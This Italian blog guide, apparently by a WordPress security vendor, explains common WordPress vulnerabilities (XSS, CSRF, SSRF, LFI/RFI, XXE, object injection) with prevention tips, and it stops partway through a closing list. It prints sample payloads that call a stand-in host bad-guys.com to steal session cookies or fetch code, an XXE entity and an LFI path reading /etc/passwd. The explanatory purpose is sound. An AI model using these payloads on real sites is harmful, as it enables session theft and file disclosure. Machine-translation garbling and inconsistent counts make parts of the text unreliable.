Spiegazione delle vulnerabilità di WordPress

Sfortunatamente, esistono vulnerabilità di WordPress. Le vulnerabilità di WordPress possono esistere nei tuoi plugin, nei tuoi temi e persino nel core di WordPress. E poiché WordPress ora alimenta quasi il 40% di tutti i siti Web, il compito di comprendere le vulnerabilità è ancora più importante. In poche parole: devi vigilare sulla sicurezza del tuo sito web.

Se non sei un esperto di sicurezza di WordPress, comprendere tutte le varie vulnerabilità di WordPress può essere scoraggiante. Potrebbe anche essere travolgente cercare di comprendere i diversi livelli di gravità di una vulnerabilità, insieme ai rischi della vulnerabilità di WordPress.

Questa guida definirà le 21 vulnerabilità più comuni di WordPress, spiegherà come valutare la gravità di una vulnerabilità di WordPress, fornirà esempi di come un hacker può sfruttare la vulnerabilità e mostrerà come prevenire queste vulnerabilità. Immergiamoci.

Che cos'è una vulnerabilità di WordPress?

Una vulnerabilità di WordPress è una debolezza o un difetto in un tema, plugin o core di WordPress che può essere sfruttata da un hacker. In altre parole, le vulnerabilità di WordPress creano un punto di ingresso che un hacker può utilizzare per eseguire attività dannose.

Tieni presente che l'hacking del sito Web è quasi tutto automatizzato. Per questo motivo, gli hacker possono facilmente entrare in un gran numero di siti Web praticamente in un batter d'occhio. Gli hacker utilizzano strumenti speciali che scansionano Internet, alla ricerca di vulnerabilità note.

Agli hacker piacciono i bersagli facili e avere un sito Web che esegue software con vulnerabilità note è come consegnare a un hacker le istruzioni passo passo per entrare nel tuo sito Web WordPress, server, computer o qualsiasi altro dispositivo connesso a Internet.

I nostri rapporti mensili sulla raccolta delle vulnerabilità di WordPress coprono tutte le vulnerabilità del core di WordPress, dei plug-in di WordPress e dei temi divulgati pubblicamente. In queste raccolte, condividiamo il nome del plugin o del tema vulnerabile, le versioni interessate e il tipo di vulnerabilità.

Che cos'è la vulnerabilità zero-day?

Quando si tratta di vulnerabilità di WordPress, è importante comprendere la definizione di vulnerabilità zero-day. Poiché la vulnerabilità è stata divulgata al pubblico, lo sviluppatore dispone di zero-day per correggere la vulnerabilità. E questo può avere grandi implicazioni per i tuoi plugin e temi.

In genere, un ricercatore di sicurezza scoprirà una vulnerabilità e la rivelerà privatamente agli sviluppatori dell'azienda proprietari del software. Il ricercatore di sicurezza e lo sviluppatore concordano che i dettagli completi saranno pubblicati una volta resa disponibile una patch. Potrebbe esserci un leggero ritardo nella divulgazione della vulnerabilità dopo il rilascio della patch per dare a più persone il tempo di eseguire l'aggiornamento per le principali vulnerabilità di sicurezza.

Tuttavia, se uno sviluppatore non risponde al ricercatore sulla sicurezza o non fornisce una patch per la vulnerabilità, il ricercatore può divulgare pubblicamente la vulnerabilità per esercitare pressioni sullo sviluppatore affinché rilasci una patch.

La divulgazione pubblica di una vulnerabilità e l'apparente introduzione di un giorno zero può sembrare controproducente. Ma è l'unica leva che un ricercatore ha per fare pressione sullo sviluppatore per correggere la vulnerabilità.

Project Zero di Google ha linee guida simili quando si tratta di rivelare le vulnerabilità. Pubblicano i dettagli completi della vulnerabilità dopo 90 giorni. Se la vulnerabilità è stata corretta o meno.

La vulnerabilità può essere trovata da chiunque. Se un hacker trova la vulnerabilità prima che lo sviluppatore rilasci una patch, diventa il peggior incubo dell'utente finale... Uno zero-day attivamente sfruttato.

Che cos'è una vulnerabilità zero-day attivamente sfruttata?

Una vulnerabilità zero-day attivamente sfruttata è esattamente quello che sembra. È una vulnerabilità senza patch che gli hacker prendono di mira, attaccano e sfruttano attivamente.

Alla fine del 2018, gli hacker stavano sfruttando attivamente una grave vulnerabilità di WordPress nel plugin WP GDPR Compliance. L'exploit ha consentito agli utenti non autorizzati, maggiori informazioni su questo nella sezione successiva, di modificare le impostazioni di registrazione dell'utente WP e cambiare il nuovo ruolo utente predefinito da abbonato a amministratore.

Questi hacker hanno scoperto questa vulnerabilità prima del plugin WP GDPR Compliance e dei ricercatori sulla sicurezza. Quindi, qualsiasi sito Web su cui era installato il plug-in era un marchio facile e garantito per i criminali informatici.

Come proteggersi da una vulnerabilità del giorno zero

Il modo migliore per proteggere il tuo sito Web da una vulnerabilità Zero-Day è disattivare e rimuovere il software fino a quando la vulnerabilità non viene corretta. Per fortuna, gli sviluppatori del plug-in WP GDPR Compliance hanno agito rapidamente e hanno rilasciato una patch per la vulnerabilità il giorno dopo che è stata divulgata pubblicamente.

Le vulnerabilità senza patch rendono il tuo sito web un facile bersaglio per gli hacker.

Vulnerabilità di WordPress non autenticate e autenticate

Ci sono altri due termini che devi conoscere quando parli delle vulnerabilità di WordPress.

1. Non autenticato : una vulnerabilità di WordPress non autenticata significa che chiunque può sfruttare la vulnerabilità.
2. Autenticato : una vulnerabilità di WordPress autenticata significa che richiede un utente che ha effettuato l'accesso per sfruttarla.

Una vulnerabilità che richiede un utente autenticato è molto più difficile da sfruttare per un hacker, soprattutto se richiede privilegi a livello di amministratore. E, se un hacker ha già le mani su una serie di credenziali di amministratore, non ha davvero bisogno di sfruttare una vulnerabilità per provocare il caos.

C'è un avvertimento. Alcune vulnerabilità autenticate richiedono solo funzionalità a livello di abbonato per essere sfruttate. Se il tuo sito web consente a chiunque di registrarsi, non c'è davvero molta differenza tra questo e una vulnerabilità non autenticata.

19 vulnerabilità comuni di WordPress spiegate

Quando si tratta di vulnerabilità di WordPress, ci sono 21 tipi comuni di vulnerabilità. Copriamo ciascuno di questi tipi di vulnerabilità di WordPress.

1. Bypass di autenticazione

Una vulnerabilità di bypass dell'autenticazione consente a un utente malintenzionato di ignorare i requisiti di autenticazione ed eseguire attività normalmente riservate agli utenti autenticati.

L'autenticazione è il processo di verifica dell'identità di un utente. WordPress richiede agli utenti di inserire un nome utente e una password per verificare la propria identità.

Esempio di bypass dell'autenticazione

Le applicazioni verificano l'autenticazione in base a un insieme fisso di parametri. Un utente malintenzionato potrebbe modificare questi parametri per ottenere l'accesso a pagine Web che in genere richiedono l'autenticazione.

Un esempio molto semplice di qualcosa di simile è un parametro di autenticazione nell'URL.

 https:/my-website/some-plugint?param=authenticated&param=no

L'URL sopra ha un parametro di autenticazione che ha un valore di no. Pertanto, quando visitiamo questa pagina, ci verrà presentato un messaggio che ci informa che non siamo autorizzati a visualizzare le informazioni su questa pagina.

Tuttavia, se il controllo di autenticazione è stato codificato male, un utente malintenzionato potrebbe modificare il parametro di autenticazione per ottenere l'accesso alla pagina privata.

 https:/my-website/some-plugint?param=authenticated&param=yes

In questo esempio, un hacker potrebbe modificare il valore di autenticazione nell'URL su yes per ignorare il requisito di autenticazione per visualizzare la pagina.

Come prevenire la prevenzione del bypass dell'autenticazione

Puoi aiutare a proteggere il tuo sito web dalle vulnerabilità di Broken Authentication utilizzando l'autenticazione a due fattori.

2. Vulnerabilità backdoor

Una vulnerabilità Backdoor consente sia agli utenti autorizzati che a quelli non autorizzati di aggirare le normali misure di sicurezza e ottenere l'accesso di alto livello a un computer, server, sito Web o applicazione.

Esempio di backdoor

Uno sviluppatore crea una backdoor in modo che possa passare rapidamente dalla codifica al test del codice come utente amministratore. Sfortunatamente, lo sviluppatore dimentica di rimuovere la backdoor prima che il software venga rilasciato al pubblico.

Se un hacker trova la backdoor, può sfruttare il punto di ingresso per ottenere l'accesso amministrativo al software. Ora che l'hacker ha accesso come amministratore, può fare ogni sorta di cose dannose come iniettare malware o rubare dati sensibili.

Come prevenire una backdoor

Molte backdoor possono essere ridotte a un problema, l'errata configurazione della sicurezza. I problemi di configurazione errata della sicurezza possono essere mitigati rimuovendo tutte le funzionalità inutilizzate nel codice, mantenendo aggiornate tutte le librerie e rendendo i messaggi di errore più generali.

3. Vulnerabilità dell'iniezione di oggetti PHP

Una vulnerabilità PHP Object-Injection si verifica con un utente che invia un input che non è sterilizzato (il che significa che i caratteri illegali non vengono rimossi) prima di essere passato alla funzione PHP unserialized() .

Esempio di iniezione di oggetti PHP

Ecco un esempio reale di una vulnerabilità PHP Object-Injection nel plugin WordPress Sample Ads Manager originariamente segnalato da sumofpwn.

Il problema è dovuto a due chiamate non sicure a unserialize() nel file sam-ajax-loader.php dei sam-ajax-loader.php . L'input è preso direttamente dalla richiesta POST come si può vedere nel codice sottostante.

 if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

Questo problema potrebbe causare l'immissione e l'esecuzione di codice dannoso da parte di un utente malintenzionato.

Come prevenire l'iniezione di oggetti PHP

Non utilizzare la funzione unserialize() con l'input fornito dall'utente, utilizzare invece le funzioni JSON.

4. Vulnerabilità di scripting tra siti

Una vulnerabilità XSS o Cross-Site Scripting si verifica quando un'applicazione Web consente agli utenti di aggiungere codice personalizzato nel percorso dell'URL. Un utente malintenzionato può sfruttare la vulnerabilità per eseguire codice dannoso nel browser Web della vittima, creare un reindirizzamento a un sito Web dannoso o dirottare una sessione utente.

Ci sono tre tipi principali di XSS, riflessi. memorizzato e basato su DOM

5. Vulnerabilità riflessa nello scripting cross-site

Un XSS riflesso o uno script incrociato riflesso si verifica quando uno script dannoso viene inviato in una richiesta client, una richiesta effettuata dall'utente in un browser, a un server e viene riflesso dal server ed eseguito dal browser.

Esempio di scripting cross-site riflesso

Supponiamo che yourfavesite.com richieda l'accesso per visualizzare alcuni dei contenuti del sito web. E supponiamo che questo sito Web non riesca a codificare correttamente gli input dell'utente.

Un utente malintenzionato potrebbe sfruttare questa vulnerabilità creando un collegamento dannoso e condividendolo con gli utenti di yourfavesite.com e-mail e post sui social media.

L' yourfavesite.com/cool-stuff dell'attacco utilizza uno strumento di abbreviazione dell'URL per rendere il collegamento dannoso non minaccioso e molto cliccabile, yourfavesite.com/cool-stuff . Tuttavia, quando fai clic sul collegamento abbreviato, il collegamento completo viene eseguito dal tuo browser yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js .

Dopo aver fatto clic sul collegamento, verrai indirizzato a yourfavesite.com e lo script dannoso verrà riflesso nel tuo browser, consentendo yourfavesite.com di dirottare i cookie di sessione e yourfavesite.com account yourfavesite.com .

Come prevenire lo scripting cross-site riflesso

La regola n. 5 sul cheat sheet di prevenzione cross-scripting di OWASP è la codifica dell'URL prima di inserire dati non attendibili nei valori dei parametri URL HTML. Questa regola può aiutare a prevenire la creazione di una vulnerabilità XSS riflessa quando si aggiungono dati non attendibili nel valore del parametro HTTP GET.

<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

6. Vulnerabilità di scripting tra siti memorizzati

Una vulnerabilità Stored XSS o Stored Cross-Site Scripting consente agli hacker di iniettare codice dannoso e archiviarlo sul server di un'applicazione Web.

Esempio di scripting cross-site archiviato

Un utente malintenzionato scopre che yourfavesite.com consente ai visitatori di incorporare tag HTML nella sezione dei commenti del sito. Quindi l'attaccante crea un nuovo commento:

Ottimo articolo! Dai un'occhiata a questo altro fantastico articolo <script src=”http://bad-guys.com/passwordstealingcode.js> . </script>

Nota: una vulnerabilità XSS riflessa richiederebbe a un visitatore di fare clic sul collegamento del codice dannoso per l'esecuzione. Un attacco XSS memorizzato richiede solo la visita della pagina che contiene il commento. Il codice dannoso viene eseguito ad ogni caricamento di pagina.

Ora che il nostro cattivo ha aggiunto il commento, ogni futuro visitatore di questa pagina sarà esposto al suo script dannoso. Lo script è ospitato sul sito Web del malintenzionato e ha la capacità di dirottare i cookie di sessione dei visitatori e yourfavesite.com account yourfavesite.com .

Come prevenire gli script tra siti memorizzati

La regola n. 1 sul cheat sheet di prevenzione cross-scripting di OWASP è la codifica HTML prima di aggiungere dati non attendibili negli elementi HTML.

 <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>

 <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

Codifica dei seguenti caratteri per impedire il passaggio a qualsiasi contesto di esecuzione, ad esempio script, stile o gestori di eventi. L'uso di entità esadecimali è consigliato nelle specifiche.

 & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

7. Vulnerabilità di scripting cross-site basata su modello di oggetto documento

Una vulnerabilità XSS o Document Object Model-Based Cross-Site Scripting basata su DOM si verifica quando lo script lato client di un sito Web scrive i dati forniti dall'utente nel Document Object Model (DOM). Il sito Web legge quindi la data dell'utente dal DOM e lo invia al browser Web del visitatore.

Se i dati forniti dall'utente non vengono gestiti correttamente, un utente malintenzionato potrebbe iniettare codice dannoso che verrebbe eseguito quando il sito Web legge il codice dal DOM.

Nota: XSS riflesso e archiviato sono problemi lato server, mentre XSS basato su DOM è un problema client (browser).

Esempio di scripting cross-site basato su modello di oggetto documento

Un modo comune per spiegare un attacco DOM XSS è una pagina di benvenuto personalizzata. Dopo aver creato un account, diciamo che yourfavesite.com sei reindirizzato a una pagina di benvenuto personalizzata per darti il ​​benvenuto per nome utilizzando il codice qui sotto. E il nome utente è codificato nell'URL.

 <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

Quindi, avremmo un URL di yourfavesite.com/account?name=yourname .

Un utente malintenzionato potrebbe eseguire un attacco XSS basato su DOM inviando il seguente URL al nuovo utente:

 http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

Quando il nuovo utente fa clic sul collegamento, il browser invia una richiesta per:

 /account?name=<script>alert(document.cookie)</script>

a bad-guys.com . Il sito risponde con la pagina contenente il codice Javascript di cui sopra.

Il browser del nuovo utente crea un oggetto DOM per la pagina, in cui l'oggetto document.location contiene la stringa:

 http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

Il codice originale nella pagina non prevede che il parametro predefinito contenga markup HTML, eseguendo l'eco del markup sulla pagina. Quindi il browser del nuovo utente eseguirà il rendering della pagina ed eseguirà lo script dell'attaccante:

 alert(document.cookie)

Come prevenire lo scripting cross-site basato su DOM

La regola n. 1 del cheat sheet di prevenzione dello scripting cross-site basato su OWASP Dom è l'escape HTML. Quindi, JS esegue l'escape prima di aggiungere dati non attendibili nel sottocontesto HTML all'interno del contesto di esecuzione.

Esempio di metodi HTML pericolosi:

attributi

 element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

metodi

 document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

Per rendere sicuri gli aggiornamenti dinamici all'HTML nel DOM, OWASP consiglia:

1. Codifica HTML, e poi
2. JavaScript codifica tutti gli input non attendibili, come mostrato in questi esempi:

 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Vulnerabilità alla falsificazione delle richieste tra siti

Una vulnerabilità CSRF o Cross-Site Request Forgery si verifica quando un criminale informatico induce con l'inganno un utente a eseguire azioni non intenzionali. L'autore dell'attacco falsifica la richiesta dell'utente a un'applicazione.

Esempio di contraffazione di richieste tra più siti

Nel nostro riepilogo delle vulnerabilità di WordPress di gennaio 2020, abbiamo segnalato la vulnerabilità Cross-Site Request Forgery trovata nel plug-in Code Snippets. (Il plugin è stato rapidamente patchato nella versione 2.14.0)

La mancanza di protezione CRSF da parte del plugin ha permesso a chiunque di creare una richiesta per conto di un amministratore e iniettare codice eseguibile su un sito vulnerabile. Un utente malintenzionato potrebbe aver approfittato di questa vulnerabilità per eseguire codice dannoso e persino eseguire un'acquisizione completa del sito.

Come prevenire la falsificazione delle richieste tra più siti

La maggior parte dei framework di codifica dispone di difese token sincronizzate integrate per la protezione contro CSRF e dovrebbero essere utilizzate.

Esistono anche componenti esterni come il CSRF Protector Project che possono essere utilizzati per proteggere le vulnerabilità di PHP e Apache CSRF.

9. Vulnerabilità di falsificazione delle richieste lato server

Una vulnerabilità SSRF o Server-Site Request Forger consente a un utente malintenzionato di ingannare un'applicazione lato server per effettuare richieste HTTP a un dominio arbitrario di sua scelta.

Esempio di falsificazione di richieste lato server

Una vulnerabilità SSRF potrebbe essere sfruttata per eseguire un attacco Reflected Cross-Site Scripting. Un utente malintenzionato potrebbe recuperare uno script dannoso da bad-guys.com e servirlo a tutti i visitatori di un sito web.

Come prevenire la falsificazione delle richieste lato server

Il primo passo per mitigare le vulnerabilità SSRF è convalidare gli input. Ad esempio, se il tuo server si basa su URL forniti dall'utente per recuperare file diversi, dovresti convalidare l'URL e consentire solo host di destinazione di cui ti fidi.

Per ulteriori informazioni sulla prevenzione SSRF, controlla il cheat sheet di OWASP.

10. Vulnerabilità all'escalation dei privilegi

Una vulnerabilità Escalation privilegi consente a un utente malintenzionato di eseguire attività che normalmente richiedono privilegi di livello superiore.

Esempio di escalation dei privilegi

Nel nostro riepilogo delle vulnerabilità di WordPress di novembre 2020, abbiamo segnalato una vulnerabilità di escalation dei privilegi rilevata nel plug-in Ultimate Member (la vulnerabilità è stata corretta nella versione 2.1.12).

Un utente malintenzionato potrebbe fornire un parametro array per il meta utente wp_capabilities che definisce il ruolo di un utente. Durante il processo di registrazione, i dettagli di registrazione inviati sono stati passati alla funzione update_profile e tutti i rispettivi metadati inviati, indipendentemente da ciò che è stato inviato, sarebbero stati aggiornati per quell'utente appena registrato.

La vulnerabilità essenzialmente ha consentito a un nuovo utente di richiedere all'amministratore durante la registrazione.

Come prevenire l'escalation dei privilegi

iThemes Security Pro può aiutare a proteggere il tuo sito web da Broken Access Control limitando l'accesso dell'amministratore a un elenco di dispositivi attendibili.

11. Vulnerabilità legata all'esecuzione di codice remoto

Una vulnerabilità RCE o Remote Code Execution consente a un utente malintenzionato di accedere e apportare modifiche e persino assumere il controllo di un computer o di un server.

Esempio di esecuzione del codice remoto

Nel 2018, Microsoft ha rivelato una vulnerabilità legata all'esecuzione di codice in modalità remota rilevata in Excel.

Sfruttando con successo la vulnerabilità, un utente malintenzionato potrebbe eseguire codice arbitrario nel contesto dell'utente corrente. Se l'utente corrente è connesso con diritti utente amministrativi, un utente malintenzionato potrebbe assumere il controllo del sistema interessato. Un utente malintenzionato potrebbe quindi installare programmi; visualizzare, modificare o eliminare i dati; o creare nuovi account con diritti utente completi. Gli utenti i cui account sono configurati per avere meno diritti utente sul sistema potrebbero essere meno colpiti rispetto agli utenti che operano con diritti utente amministrativi.

Come prevenire l'esecuzione del codice remoto

Il modo più semplice per mitigare una vulnerabilità RCE consiste nel convalidare l'input dell'utente filtrando e rimuovendo eventuali caratteri indesiderati.

La nostra società madre Liquid Web ha un ottimo articolo sulla prevenzione dell'esecuzione di codice remoto.

12. Vulnerabilità legata all'inclusione di file

Una vulnerabilità di inclusione file si verifica quando un'applicazione Web consente all'utente di inviare input in file o caricare file sul server.

Esistono due tipi di vulnerabilità di inclusione di file, locale e remota.

13. Vulnerabilità legata all'inclusione di file locali

Una vulnerabilità LFI o Local File Inclusion consente a un utente malintenzionato di leggere e talvolta eseguire file sul server di un sito Web.

Esempio di inclusione di file locali

Diamo un'altra occhiata a yourfavesite.com , dove i percorsi passati per include istruzioni non sono adeguatamente ripuliti. Ad esempio, diamo un'occhiata all'URL di seguito.

 yourfavesite.com/module.php?file=example.file

È possibile che un utente malintenzionato modifichi il parametro URL per accedere a un file arbitrario sul server.

 yourfavesite.com/module.php?file=etc/passwd

La modifica del valore del file nell'URL potrebbe consentire a un utente malintenzionato di visualizzare il contenuto del file psswd.

Come prevenire l'inclusione di file locali

Crea un elenco consentito di file che la pagina può includere, quindi utilizza un identificatore per accedere al file selezionato. E poi blocca qualsiasi richiesta contenente un identificatore non valido.

14. Vulnerabilità legata all'inclusione di file remoti

Una vulnerabilità RFI o Remote File Inclusion consente a un utente malintenzionato di includere un file, solitamente sfruttando un meccanismo di "inclusione dinamica di file" implementato nell'applicazione di destinazione.

Esempio di inclusione di file remoti

Il WordPress Plugin WP con Spritz è stato chiuso nel repository WordPress.org perché presentava una vulnerabilità RFI.

Di seguito è riportato il codice sorgente della vulnerabilità:

 if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

Il codice può essere sfruttato modificando il valore di content.filter.php?url= value. Per esempio:

 yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

Prevenzione dell'inclusione di file remoti

Crea un elenco consentito di file che la pagina può includere, quindi utilizza un identificatore per accedere al file selezionato. E poi blocca qualsiasi richiesta contenente un identificatore non valido.

15. Vulnerabilità nell'attraversamento delle directory

Una vulnerabilità Directory Traversal o File Traversal consente a un utente malintenzionato di leggere file arbitrari sul server che esegue un'applicazione.

Esempio di attraversamento di directory

Le versioni 5.7 – 5.03 di WordPress erano vulnerabili agli attacchi di attraversamento delle directory perché non riuscivano a verificare correttamente i dati di input dell'utente. Un utente malintenzionato con accesso a un account con almeno i privilegi di author potrebbe sfruttare la vulnerabilità dell'attraversamento della directory ed eseguire codice PHP dannoso sul server sottostante, portando a un'acquisizione remota completa.

Come prevenire l'attraversamento delle directory

Gli sviluppatori possono utilizzare gli indici anziché le parti effettive dei nomi di file durante la creazione di modelli o l'utilizzo di file di lingua.

16. Vulnerabilità di reindirizzamento dannoso

Una vulnerabilità di reindirizzamento dannoso consente a un utente malintenzionato di iniettare codice per reindirizzare i visitatori del sito a un altro sito web.

Esempio di reindirizzamento dannoso

Supponiamo che tu stia cercando un maglione blu utilizzando lo strumento di ricerca su una boutique online.

Sfortunatamente, il server della boutique non riesce a codificare correttamente gli input dell'utente e un utente malintenzionato è riuscito a inserire uno script di reindirizzamento dannoso nella query di ricerca.

Quindi, quando digiti maglione blu nel campo di ricerca della boutique e premi invio, finisci sulla pagina web dell'attaccante invece della pagina della boutique con maglioni che corrispondono alla descrizione della tua ricerca.

Come prevenire il reindirizzamento dannoso

Puoi proteggerti dai reindirizzamenti dannosi disinfettando gli input degli utenti, convalidando gli URL e ottenendo la conferma dei visitatori per tutti i reindirizzamenti fuori sede.

17. Vulnerabilità dell'entità esterna XML

Una vulnerabilità XXE o XML External Entity consente a un utente malintenzionato di indurre un parser XML a passare informazioni riservate a un'entità esterna sotto il suo controllo.

Esempio di entità esterna XML

Un utente malintenzionato potrebbe sfruttare una vulnerabilità XXE per accedere a file sensibili come etc/passwd, che memorizza le informazioni sull'account utente.

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

Come prevenire entità esterne XML

Il modo migliore per prevenire XXE è utilizzare formati di dati meno complessi come JSON ed evitare la serializzazione di dati sensibili.

18. Attacco Denial of Service

Un attacco DoS o Denial-of-Service è un tentativo deliberato di rendere il tuo sito Web o la tua applicazione non disponibile per gli utenti inondandolo di traffico di rete.

In un attacco DDoS Distributed Denial of Service, un utente malintenzionato utilizza più fonti per inondare una rete di traffico. Un utente malintenzionato dirotterà gruppi di computer, router e dispositivi IoT infetti da malware per aumentare il flusso di traffico.

Esempio di attacco Denial of Service

Il più grande attacco DDoS (Distributed Denial-of-Service) mai registrato contro AWS nel febbraio di quest'anno. Amazon ha riferito che AWS Shield, il suo servizio di protezione dalle minacce gestito, ha osservato e mitigato questo enorme attacco DDoS. L'attacco è durato 3 giorni e ha raggiunto il picco di 2,3 Terabyte al secondo.

Come prevenire gli attacchi Denial of Service

Esistono 2 modi principali per mitigare un attacco DoS.

1. Acquista più hosting del necessario. Avere risorse extra a tua disposizione può aiutarti a superare l'aumento della domanda causato da un attacco DoS.
2. Usa un firewall a livello di server come Cloudflare. Un firewall può rilevare un picco insolito nel traffico e impedire che il tuo sito web si sovraccarichi.

19. Registrazione della sequenza di tasti

Il keystroke logging , noto anche come keylogging o acquisizione della tastiera, si verifica quando un hacker monitora e registra di nascosto i tasti premuti dai visitatori del sito web.

Esempio di registrazione della sequenza di tasti

Nel 2017, un hacker ha installato con successo JavaScript dannoso sui server del produttore di smartphone OnePlus.

Utilizzando il codice dannoso, gli aggressori hanno monitorato e registrato le sequenze di tasti dei clienti OnePlus mentre inserivano i dettagli della carta di credito. Gli hacker hanno registrato e raccolto le sequenze di tasti di 40.000 clienti prima che OnePlus rilevasse e correggesse l'hack.

Come prevenire la registrazione della sequenza di tasti

Aggiorna tutto! In genere, un utente malintenzionato dovrà sfruttare un'altra vulnerabilità esistente per iniettare un keylogger su un computer o un server. Mantenere tutto aggiornato con le ultime patch di sicurezza eviterà di fornire agli hacker un modo semplice per installare un keylogger sul tuo sito Web o computer.

Bonus: 2 ingegneria sociale e vulnerabilità degli utenti

Le vulnerabilità del software sono l'unica cosa che hacker e criminali informatici cercano di sfruttare. Gli hacker prendono di mira e sfruttano anche gli umani. Diamo un'occhiata a un paio di modi in cui possiamo essere trasformati in vulnerabilità.

1. Phishing

Il phishing è un metodo di attacco informatico che utilizza e-mail, social media, messaggi di testo e telefonate per indurre la vittima a fornire informazioni personali. L'attaccante utilizzerà quindi le informazioni per accedere agli account personali o commettere frodi sull'identità.

Come individuare un'e-mail di phishing

Come abbiamo appreso in precedenza in questo post, alcune vulnerabilità richiedono un certo tipo di interazione dell'utente per essere sfruttate. Un modo in cui un hacker induce le persone a partecipare ai loro sforzi nefasti è inviando e-mail di phishing.

Imparare a individuare un'e-mail di phishing può salvarti dal giocare inavvertitamente nei piani dei criminali informatici.

4 suggerimenti per individuare un'e-mail di phishing :

1. Guarda l'indirizzo e-mail del mittente : se ricevi un'e-mail da un'azienda, la parte dell'indirizzo e-mail del mittente dopo la "@" deve corrispondere al nome dell'azienda.
   
   Se un'e-mail rappresenta un'azienda o un ente governativo ma utilizza un indirizzo e-mail pubblico come "@gmail", è segno di un'e-mail di phishing.
   
   Tieni d'occhio i sottili errori di ortografia del nome di dominio. Ad esempio, diamo un'occhiata a questo indirizzo email [email protected] Possiamo vedere che Netflix ha una "x" in più alla fine. L'errore di ortografia è un chiaro segno che l'e-mail è stata inviata da un truffatore e dovrebbe essere eliminata immediatamente.
   
2. Cerca errori grammaticali : un'e-mail piena di errori grammaticali è segno di un'e-mail dannosa. Tutte le parole possono essere scritte correttamente, ma le frasi mancano di parole che renderebbero la frase coerente. Ad esempio, "Il tuo account è stato violato. Aggiorna la password per la sicurezza dell'account”.
   
   Tutti commettono errori e non tutte le email con un errore di battitura o due sono un tentativo di truffarti. Tuttavia, più errori grammaticali giustificano uno sguardo più attento prima di rispondere.
   
3. Allegati o collegamenti sospetti : vale la pena fermarsi un attimo prima di interagire con eventuali allegati o collegamenti inclusi in un'e-mail.
   
   Se non riconosci il mittente di un'e-mail, non dovresti scaricare alcun allegato incluso nell'e-mail in quanto potrebbe contenere malware e infettare il tuo computer. Se l'email afferma di provenire da un'azienda, puoi Google le loro informazioni di contatto per verificare che l'email sia stata inviata da loro prima di aprire eventuali allegati.
   
   Se un'e-mail contiene un collegamento, puoi passare il mouse sul collegamento per verificare che l'URL ti stia inviando dove dovrebbe essere.
   
4. Fai attenzione alle richieste urgenti : un trucco comune utilizzato dai truffatori è creare un senso di urgenza. Un'e-mail dannosa potrebbe creare uno scenario che richiede un'azione immediata. Più tempo hai per pensare, maggiori sono le possibilità di identificare che la richiesta proviene da un truffatore.
   
   Potresti ricevere un'e-mail dal tuo "capo" che ti chiede di pagare un venditore al più presto o dalla tua banca che ti informa che il tuo account è stato violato e che è necessaria un'azione immediata.

2. Credenziali deboli

Gli utenti hanno il potenziale per essere la più grande vulnerabilità di sicurezza di WordPress.

In un elenco compilato da Splash Data, la password più comune inclusa in tutti i dump di dati era 123456. Un dump di dati è un database violato pieno di password utente scaricate da qualche parte su Internet. Riesci a immaginare quante persone sul tuo sito Web utilizzano una password debole se 123456 è la password più comune nei dump di dati?

Anche se il 91% delle persone sa che riutilizzare le password è una pratica scorretta, il 59% delle persone riutilizza ancora le proprie password ovunque! Molte di queste persone stanno ancora utilizzando password che sanno essere apparse in un dump del database.

Gli hacker usano una forma di attacco di forza bruta chiamata attacco del dizionario. Un attacco a dizionario è un metodo per violare un sito Web WordPress con password di uso comune che sono apparse nei dump del database. La “Collezione #1? La violazione dei dati ospitata su MEGA ospitata includeva 1.160.253.228 combinazioni univoche di indirizzi e-mail e password. Sono miliardi con la b. Questo tipo di punteggio aiuterà davvero un attacco al dizionario a restringere le password WordPress più comunemente usate.

Credenziali deboli trasformano il tuo accesso a WordPress in una facile vulnerabilità da sfruttare per gli hacker.

Come prevenire credenziali deboli

Il modo migliore per prevenire credenziali deboli consiste nel creare una politica per le password complesse e utilizzare l'autenticazione a due fattori.

La funzione Requisiti password di iThemes Security Pro consente di forzare i membri di un gruppo di utenti a utilizzare una password complessa , scegliere un tempo di scadenza della password , rifiutare le password compromesse e forzare una modifica delle password a livello di sito per far sì che tutti si conformino alla nuova politica sulle password complesse.

L'autenticazione a due fattori è un processo di verifica dell'identità di una persona che richiede due metodi di verifica separati. Google ha condiviso sul suo blog che l'utilizzo dell'autenticazione a due fattori può bloccare il 100% degli attacchi bot automatizzati.

La funzione di autenticazione a due fattori di iThemes Security Pro offre una grande flessibilità durante l'implementazione di 2fa sul tuo sito web. Puoi abilitare due fattori per tutti o alcuni dei tuoi utenti e puoi forzare i tuoi utenti di alto livello a utilizzare 2fa ad ogni accesso.

Come proteggere il tuo sito Web WordPress dalle vulnerabilità di WordPress

Diamo un'occhiata ad alcuni passaggi attuabili che puoi adottare per proteggere il tuo sito Web dalle vulnerabilità di WordPress.

1. Mantieni aggiornato il tuo software WordPress

